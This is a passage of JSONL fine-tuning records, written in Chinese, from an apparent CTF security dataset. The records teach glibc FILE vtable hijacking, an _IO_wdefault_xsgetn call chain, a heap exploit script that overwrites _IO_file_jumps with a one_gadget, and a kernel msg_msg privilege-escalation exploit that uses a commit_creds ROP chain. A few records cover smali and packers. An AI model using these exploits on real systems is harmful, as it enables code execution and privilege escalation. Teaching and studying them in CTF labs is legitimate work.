的指针指向我们控制的内存**，然后在其中布置函数指针。\n\n这里演示了修改 vtable 中的指针，首先需要知道_IO_FILE_plus 位于哪里，对于 fopen 的情况下是位于堆内存，对于 stdin\\stdout\\stderr 是位于 libc.so 中。\n\n```plain\nint main(void)\n{\n    FILE *fp;\n    long long *vtable_ptr;\n    fp=fopen(\"123.txt\",\"rw\");\n    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable\n\n    vtable_ptr[7]=0x41414141; //xsputn\n\n    printf(\"call 0x41414141\");\n}\n```\n\n根据 vtable 在_IO_FILE_plus 的偏移得到 vtable 的地址，在 64 位系统下偏移是 0xd8。之后需要搞清楚欲劫持的 IO 函数会调用 vtable 中的哪个函数。 printf 会调用 vtable 中的 xsputn，并且 xsputn 的是 vtable 中第八项之后就可以写入这个指针进行劫持。\n\n并且在 xsputn 等 vtable 函数进行调用时，传入的第一个参数其实是对应的_IO_FILE_plus 地址。比如这例子调用 printf，传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。\n\n类似这种，第一个参数都是fp，fp实际上就是_IO_FILE_plus的地址。\n\n\"image-20251212225824141.png\"\n\n\n利用这点可以实现给劫持的 vtable 函数传參，比如以下这个代码，memcopy(fp,\"sh\",3);就是把file结构前三个字节改成了sh\\0，然后劫持xsputn就可以实现system(sh)了\n\n```plain\n#define system_ptr 0x7ffff7a52390;\n\nint main(void)\n{\n    FILE *fp;\n    long long *vtable_ptr;\n    fp=fopen(\"123.txt\",\"rw\");\n    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable\n\n    memcopy(fp,\"sh\",3);\n\n    vtable_ptr[7]=system_ptr; //xsputn\n\n\n    fwrite(\"hi\",2,1,fp);\n}\n```\n\n但是在目前 libc2.23 版本下，位于 libc 数据段的 vtable 是不可以进行写入的。\n\n[图片: img]\n\n\n不过，通过在可控的内存中伪造 vtable 的方法依然可以实现利用。\n\n```plain\n#define system_ptr 0x7ffff7a52390;\n\nint main(void)\n{\n    FILE *fp;\n    long long *vtable_addr,*fake_vtable;\n\n    fp=fopen(\"123.txt\",\"rw\");\n    fake_vtable=malloc(0x40);\n\n    vtable_addr=(long long *)((long long)fp+0xd8);     //vtable offset\n\n    vtable_addr[0]=(long long)fake_vtable;\n\n    memcpy(fp,\"sh\",3);\n\n    fake_vtable[7]=system_ptr; //xsputn\n\n    fwrite(\"hi\",2,1,fp);\n}\n```\n\n我们首先分配一块内存来存放伪造的 vtable，之后修改_IO_FILE_plus 的 vtable 指针指向这块内存。因为 vtable 中的指针我们放置的是 system 函数的地址，因此需要传递参数 \"/bin/sh\" 或 \"sh\"。\n\n因为 vtable 中的函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递，因此这里我们把 \"sh\" 写入_IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(\"sh\")。\n\n同样，如果程序中不存在 fopen 等函数创建的_IO_FILE 时，也可以选择 stdin\\stdout\\stderr 等位于 libc.so 中的_IO_FILE，这些流在 printf\\scanf 等函数中就会被使用到。在 libc2.23 之前，这些 vtable 是可以写入并且不存在其他检测的。\n\n利用思路：\n\n+ 利用的是在程序调用 exit 后，会遍历 _IO_list_all ，调用 _IO_2_1_stdout_ 下的 vtable 中 _setbuf 函数。\n+ 可以先修改两个字节在当前 vtable 附近伪造一个 fake_vtable ，然后使用 3 个字节修改 fake_vtable 中 _setbuf 的内容为 one_gadget。\n\n我们先查看_IO_2_1_stdout_在libc文件中的偏移，为0x3c5620\n\nnm -D libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so | grep -C 10 _IO_2_1_stdout\n\n再根据vtable跟FILE结构的偏移是0xd8，可以算出vtable的地址是：0x3c56f8。\n\n从这里可以看到__setbuf是第12个元素，偏移是11个0x8字节，也就是0x58\n\n[图片: img]\n\n查看虚表地址附近的内容，我们需要找到一个fake_vtable地址，该地址的0x58偏移是一个libc地址，我们可以把该地址改成one_gadget。也就是fake_vtable_addr + 0x58 = libc_base + onegadget\n\n[图片: img]\n\n我们可以把0x7ffff7dd26b8当成fake_vtable地址，然后在0x58偏移的位置伪造onegadget的地址\n\n[图片: img]", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-a22760ef3b7f798c", "original_line": 259, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-a22760ef3b7f798c", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ea3c85bc36d723fb990a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T\n  /* Wide character stream stuff.  */\n  struct _IO_codecvt *_codecvt;\n  struct _IO_wide_data *_wide_data;\n  struct _IO_FILE *_freeres_list;\n  void *_freeres_buf;", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-e4c01ccd41437b55", "original_line": 269, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-e4c01ccd41437b55", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ed73f415633c421b0360", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「_IO_wdefault_xsgetn」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### _IO_wdefault_xsgetn\n\n利用`_IO_wdefault_xsgetn`函数控制程序执行流\n\n这条链执行的条件是调用到_IO_wdefault_xsgetn时rdx寄存器，也就是第三个参数不为`0`。如果不满足这个条件，可选用其他链。\n\n\n对`_IO_FILE_plus`的设置如下：\n\n+ `_flags`设置为`0x800`\n+ `vtable`设置为`_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps`地址（加减偏移），使其能成功调用`_IO_wdefault_xsgetn`即可。\n+ `_mode`设置为大于`0`，即满足`*(fp + 0xc0) > 0`\n+ `_wide_data`设置为可控堆地址`A`，即满足`*(fp + 0xa0) = A`\n+ `_wide_data->_IO_read_end == _wide_data->_IO_read_ptr`设置为`0`，即满足`*(A + 8) = *A`\n+ `_wide_data->_IO_write_ptr > _wide_data->_IO_write_base`，即满足`*(A + 0x20) > *(A + 0x18)`\n+ `_wide_data->_wide_vtable`设置为可控堆地址`B`，即满足`*(A + 0xe0) = B`\n+ `_wide_data->_wide_vtable->overflow`设置为地址`C`用于劫持`RIP`，即满足`*(B + 0x18) = C`\n\n**函数调用链**\n\n```plain\n_IO_wdefault_xsgetn->__wunderflow->_IO_switch_to_wget_mode->_IO_WOVERFLOW->*(fp->_wide_data->_wide_vtable + 0x18)(fp)\n```\n\n详解：\n\n```c\nsize_t\n_IO_wdefault_xsgetn (FILE *fp, void *data, size_t n)\n{\n  /* more 为第三个参数，即 rdx。*/\n  size_t more = n;\n  wchar_t *s = (wchar_t*) data;\n  for (;;)\n  {\n      /* Data available. */\n      ssize_t count = (fp->_wide_data->_IO_read_end\n                       - fp->_wide_data->_IO_read_ptr);\n      if (count > 0)\n      {\n        if ((size_t) count > more)\n          count = more;\n        if (count > 20)\n        {\n          s = __wmempcpy (s, fp->_wide_data->_IO_read_ptr, count);\n          fp->_wide_data->_IO_read_ptr += count;\n        }\n        else if (count <= 0)\n          count = 0;\n        else\n        {\n           wchar_t *p = fp->_wide_data->_IO_read_ptr;\n           int i = (int) count;\n           while (--i >= 0)\n             *s++ = *p++;\n           fp->_wide_data->_IO_read_ptr = p;\n         }\n         more -= count;\n      }\n      /* 首先判断第三个参数 rdx 是否为 0，我们需要他进行第二个判断 */\n      if (more == 0 || __wunderflow (fp) == WEOF)\n        break;\n  }\n  return n - more;\n}\n```\n\n```c\nwint_t\n__wunderflow (FILE *fp)\n{\n  /* _mode > 0 */\n  if (fp->_mode < 0 || (fp->_mode == 0 && _IO_fwide (fp, 1) != 1))\n     return WEOF;\n  if (fp->_mode == 0)\n    _IO_fwide (fp, 1);\n  if (_IO_in_put_mode (fp))\n    if (_IO_switch_to_wget_mode (fp) == EOF)  // 调用这里\n      return WEOF;\n  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)\n    return *fp->_wide_data->_IO_read_ptr;\n  if (_IO_in_backup (fp))\n  {\n      _IO_switch_to_main_wget_area (fp);\n      if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)\n    return *fp->_wide_data->_IO_read_ptr;\n  }\n  if (_IO_have_markers (fp))\n  {\n      if (save_for_wbackup (fp, fp->_wide_data->_IO_read_end))\n        return WEOF;\n  }\n  else if (_IO_have_backup (fp))\n    _IO_free_wbackup_area (fp);\n  return _IO_UNDERFLOW (fp);\n}\n```\n\n```c\nint\n_IO_switch_to_wget_mode (FILE *fp)\n{\n  /* 需要 _wide_data->_IO_write_ptr > _wide_data->_IO_write_base */\n  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)\n    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)  // 调用 _IO_WOVERFLOW\n      return EOF;\n  if (_IO_in_backup (fp))\n    fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_backup_base;\n  else\n  {\n      fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_buf_base;\n      if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)\n          fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;\n  }\n  fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_write_ptr;\n  fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr\n    = fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_read_ptr;\n  fp->_flags &= ~_IO_CURRENTLY_PUTTING;\n  return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-74d646a72fe95236", "original_line": 253, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-74d646a72fe95236", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f01cf02fdcd6c6ce26b2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「unosrtedbin leak libc addr」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# unosrtedbin leak libc addr\nfor i in range(9):\n    add()\nfor i in range(1,9):\n    dele(i)\n\nshow(8)\nr()\nlibc_addr = u64(r(6).ljust(8, b'\\x00'))-0x1f2cc0\nlg('libc_addr', libc_addr)\n\none_gadget = [0xda861,0xda864,0xda867]\nlg(\"one_gadget\",(one_gadget[0]+libc_addr))\n_IO_file_jumps = libc_addr + libc.symbols['_IO_file_jumps']\n\ntarget = ((heap_base + 0x8f0) >> 12) ^ (_IO_file_jumps) # Safe-Linking\nlg(\"target\", target)\n\ndbg()\nedit(b'7',b'8',p64(target))\n\nadd()\nadd()\n\nedit(b'11',b'64',p64(0)*3 + p64((one_gadget[1]+libc_addr)))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-a24ad0be3c6c788d", "original_line": 260, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-a24ad0be3c6c788d", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-fc7b38b48fea1b289da8", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `Kernel/2022ciscn-cactus` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`Kernel/2022ciscn-cactus`\n\n## Writeup 蒸馏\n# CISCN 2022 西南赛区半决赛 cactus WP\n\n## 目录\n\n- [msg_msg 与 msg_msgseg](#msg_msg-与-msg_msgseg)\n- [pipe_buffer（kmalloc-1k）](#pipe_bufferkmalloc-1k)\n- [例题：cactus](#例题cactus)\n- [PoC](#poc)\n\n## msg_msg 与 msg_msgseg\n\n### 前言\n\n消息队列是 Linux 的一种进程间通信机制。它传递的数据具有固定结构，而不是简单的字节流。消息队列本质上是内核维护的一条链表，内核基于这条链表实现消息管理。\n\n### 关键结构体\n\n`include/linux/msg.h` 中定义了 `msg_msg`：\n\n```c\nstruct msg_msg {\n    struct list_head m_list;\n    long m_type;\n    size_t m_ts;        /* message text size */\n    struct msg_msgseg *next;\n    void *security;\n    /* the actual message follows immediately */\n};\n```\n\n其中 `list_head` 是双向链表节点，用于保存 `next` 和 `prev` 指针：\n\n```c\nstruct list_head {\n    struct list_head *next, *prev;\n};\n```\n\n`ipc/msgutil.c` 中定义了 `msg_msgseg`：\n\n```c\nstruct msg_msgseg {\n    struct msg_msgseg *next;\n    /* the next part of the message follows immediately */\n};\n```\n\n`msg_msgseg` 可以理解为 `msg_msg` 的后续分段节点，用来承载超出首个 `msg_msg` 数据区的消息内容。\n\n### msgget\n\n```c\nint msgget(key_t key, int msgflag);\n```\n\n| 参数 | 含义 |\n| --- | --- |\n| `key` | `ftok()` 的返回值或 `IPC_PRIVATE`。若为 `IPC_PRIVATE`，则直接创建新的消息队列。 |\n| `msgflag` | `IPC_CREAT` 创建新队列；`IPC_EXCL` 与 `IPC_CREAT` 配合使用，队列已存在时返回错误；`IPC_NOWAIT` 表示读写条件不满足时不阻塞。通常需要配合权限位，如 `0666 | IPC_CREAT`。 |\n\n调用成功返回消息队列标识符，失败返回 `-1`。创建新消息队列时，内核会创建一个 `msg_queue` 结构体，并将它作为 `msg_msg` 双向循环链表的起始节点。\n\n后续如果进程调用 `msgsnd()` 写消息队列，需要写权限；调用 `msgrcv()` 读消息队列，需要读权限。这些权限由 `msgget()` 的第二个参数控制。\n\n### msgsnd\n\n```c\nint msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg);\n```\n\n调用 `msgsnd()` 会在指定消息队列上发送一条指定大小的消息，并建立对应的 `msg_msg` 结构。\n\n#### 申请结构体、链表链接与数据拷贝\n\n`do_msgsnd()` 中会调用 `load_msg()` 初始化消息：\n\n```c\nstatic long do_msgsnd(int msqid, long mtype, void __user *mtext,\n        size_t msgsz, int msgflg)\n{\n    struct msg_queue *msq;\n    struct msg_msg *msg;\n    int err;\n    struct ipc_namespace *ns;\n    DEFINE_WAKE_Q(wake_q);\n\n    ns = current->nsproxy->ipc_ns;\n\n    if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)\n        return -EINVAL;\n    if (mtype < 1)\n        return -EINVAL;\n\n    msg = load_msg(mtext, msgsz);\n    /* ... */\n}\n```\n\n`load_msg()` 负责申请消息并从用户态拷贝数据到内核：\n\n```c\nstruct msg_msg *load_msg(const void __user *src, size_t len)\n{\n    struct msg_msg *msg;\n    struct msg_msgseg *seg;\n    int err = -EFAULT;\n    size_t alen;\n\n    msg = alloc_msg(len);\n    if (msg == NULL)\n        return ERR_PTR(-ENOMEM);\n\n    alen = min(len, DATALEN_MSG);\n    if (copy_from_user(msg + 1, src, alen))\n        goto out_err;\n\n    for (seg = msg->next; seg != NULL; seg = seg->next) {\n        len -= alen;\n        src = (char __user *)src + alen;\n        alen = min(len, DATALEN_SEG);\n        if (copy_from_user(seg + 1, src, alen))\n            goto out_err;\n    }\n\n    err = security_msg_msg_alloc(msg);\n    if (err)\n        goto out_err;\n\n    return msg;\n\nout_err:\n    free_msg(msg);\n    return ERR_PTR(err);\n}\n```\n\n`alloc_msg()` 根据消息长度分配首个 `msg_msg` 以及后续 `msg_msgseg`：\n\n```c\n#define DATALEN_MSG    ((size_t)PAGE_SIZE - sizeof(struct msg_msg))\n#define DATALEN_SEG    ((size_t)PAGE_SIZE - sizeof(struct msg_msgseg))\n\nstatic struct msg_msg *alloc_msg(size_t len)\n{\n    struct msg_msg *msg;\n    struct msg_msgseg **pseg;\n    size_t alen;\n\n    alen = min(len, DATALEN_MSG);\n    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);\n    if (msg == NULL)\n        return NULL;\n\n    msg->next = NULL;\n    msg->security = NULL;\n\n    len -= alen;\n    pseg = &msg->next;\n    while (len > 0) {\n        struct msg_msgseg *seg;\n\n        cond_resched();\n\n        alen = min(len, DATALEN_SEG);\n        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);\n        if (seg == NULL)\n            goto out_err;\n        *pseg = seg;\n        seg->next = NULL;\n        pseg = &seg->next;\n        len -= alen;\n    }\n\n    return msg;\n\nout_err:\n    free_msg(msg);\n    return NULL;\n}\n```\n\n由此可以得到：\n\n- `msg_msg` 头部大小为 `0x30`。\n- 首个 `msg_msg` 最大可承载 `PAGE_SIZE - sizeof(struct msg_msg)` 的数据。\n- 如果消息长度大于 `DATALEN_MSG`，多余内容会继续放入 `msg_msgseg`。\n- 如果剩余内容仍大于 `DATALEN_SEG`，则继续分配更多 `msg_msgseg`。\n- 单条消息内部是 `msg_msg -> msg_msgseg -> msg_msgseg -> ...` 的单向链表。\n- 不同 `msg_msg` 之间通过 `m_list` 连接，以 `msg_queue` 为头节点形成双向循环链表。\n\n申请调用链：\n\n```text\ndo_msgsnd -> load_msg -> alloc_msg\n```\n\n### msgrcv\n\n```c\nssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);\n```\n\n`msgrcv()` 从消息队列中接收指定大小的消息，并选择性释放对应的 `msg_msg` 结构。\n\n#### 通过 find_msg 定位消息\n\n```c\nstatic struct msg_msg *find_msg(struct msg_queue *msq, long *msgtyp, int mode)\n{\n    struct msg_msg *msg, *found = NULL;\n    long count = 0;\n\n## Exploit 关键代码\n### Kernel/2022ciscn-cactus/exp.c\n```c\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#define PREPARE_KERNEL_CRED 0xffffffff810d2ac0\n#define INIT_CRED 0xffffffff82c6d580\n#define COMMIT_CREDS 0xffffffff810d25c0\n#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0\n#define POP_RDI_RET 0xffffffff810938f0\n#define SECONDARY_STARTUP_64 0xffffffff81000040\n\nsize_t user_cs, user_ss, user_sp, user_rflags;\nsize_t kernel_offset, kernel_base = 0xffffffff81000000;\nsize_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode, init_cred;\n\nint fd;\nint pipe_fd, pipe_fd1[2], pipe_fd2[2];\n\nvoid ErrExit(char* err_msg)\n{\n\tputs(err_msg);\n\texit(-1);\n}\n\nvoid add()\n{\n\tioctl(fd, 0x1234);\n}\n\nvoid delete()\n{\n\tioctl(fd, 0xdead);\n}\n\nvoid save_status()\n{\n\t__asm__(\n\t\"mov user_cs, cs;\"\n\t\"mov user_ss, ss;\"\n\t\"mov user_sp, rsp;\"\n\t\"pushf;\"\n\t\"pop user_rflags;\"\n\t);\n        printf(\"\\033[34m\\033[1m[+] save the state success!\\033[0m\\n\");\n}\n\nvoid get_shell()\n{\n\n# ... 中间内容省略，保留关键利用片段 ...\n\n\t\tsystem(\"/bin/sh\");\n\tbuf = (size_t*)malloc(0x4000);\n\tdelete();\n\tdelete();\n\tret = msgrcv(ms_qid[kmsg_idx], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // add a obj to pass detection in set_freepointer() in free_msg\n\tbuf[rop_idx++] = COMMIT_CREDS + kernel_offset;\n```\n\n### Kernel/2022ciscn-cactus/start.sh\n```bash\n#!/bin/sh\nqemu-system-x86_64 \\\n    -m 128M \\\n    -kernel ./bzImage \\\n    -initrd ./rootfs.cpio \\\n    -monitor /dev/null \\\n    -append \"root=/dev/ram console=ttyS0 oops=panic quiet panic=1 kaslr\" \\\n    -cpu kvm64,+smep,+smap\\\n    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \\\n    -nographic \\\n    -no-reboot \\\n    -s\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 38, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["kernel", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-pair-5ac84effe22e5eec", "original_line": 411, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "Kernel/2022ciscn-cactus", "source_record_id": "pwn101-pair-5ac84effe22e5eec", "source_split": "train", "split": "train", "split_group_key": "3d07d0fdf93e9a8233a00488"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "Kernel/2022ciscn-cactus", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-0007eb5f1317274f1786", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「direct methods」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：direct methods\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“direct methods”展开。\n- .method public constructor ()V .locals 1#表示函数中使用了一个局部变量 .prologue#表示方法中代码正式开始 .line 8#表示对应与java源文件的低8行 #调用Activity中的init()方法 invoke-direct {p0}, Landroid/app/Activity;\n- >()V .line 10 const-string v0, \"MainActivity\" iput-object v0, p0, Lcom/social_touch/demo/MainActivity;\n- #获取上一个方法执行结果,toString()方法返回了一个新的String对象,因此v1中此时存储了String对象的引用 move-result-object v1 #调用Log类中的静态方法e().因为e()是静态方法,因此{v0,v1}中的成了参数寄存器 invoke-static {v0, v1}, Landroid/util/Log;\n- .line 13 const/4 v0, 0x0 iput-boolean v0, p0, Lcom/social_touch/demo/MainActivity;\n- >running:Z return-void .end method #静态方法log() .method public static log(I)V .locals 3 .parameter \"result\"#表示result参数 .prologue .line 42 #v0寄存器中赋值为\"MainActivity\" const-string v0, \"MainActivity\" #创建StringBuilder对象,并将其引用赋值给v1寄存器 new-instance v1, Ljava/lang/Str...\n\n关键术语：\n- Android逆向\n- AI安全\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1686, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "direct methods", "heading_path": ["direct methods"], "original_id": "docs-ce598e803392cb20c980", "original_line": 66, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "5ef9f7d1f80c2d5840c79ea5", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "AI安全", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-000f1e4a826588d0dc25", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/introduction.md` 中的章节「保护壳」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/introduction.md`\n标题：软件逆向工程简介\n章节：软件逆向工程简介 > 常规逆向流程 > 保护壳\n路径分类：reverse / reverse/introduction.md\n分块：1/1\n\n核心知识点：\n- 保护壳类型有许多，简单的压缩壳可以归类为如下几种 - unpack -> execute 直接将程序代码全部解压到内存中再继续执行程序代码 - unpack -> execute -> unpack -> execute ... 解压部分代码，再边解压边执行 - unpack -> [decoder | encoded code] -> decode -> execute 程序代码有过编码，在解压后再运行函数将真正的程序代码解码执行 对于脱壳也有相关的方法，比如单步调试法，ESP定律等等\n\n关键术语：\n- reverse\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 260, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "保护壳", "heading_path": ["软件逆向工程简介", "常规逆向流程", "保护壳"], "original_id": "docs-2bdb09c453d96c4a2d3e", "original_line": 81, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/introduction.md", "source_root": "docs", "source_sha256": "768d6c888495fdf1c7fba9f305b7709fab79f182d1e6812c5f92443f4bf7d7df", "split": "train", "split_group_key": "8b44608b62e93b8ad4af8201", "subcategory": "reverse/introduction.md", "terms": ["reverse", "introduction.md"], "title": "软件逆向工程简介"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/introduction.md", "split": "train", "type": "ctf_lora_sft"}
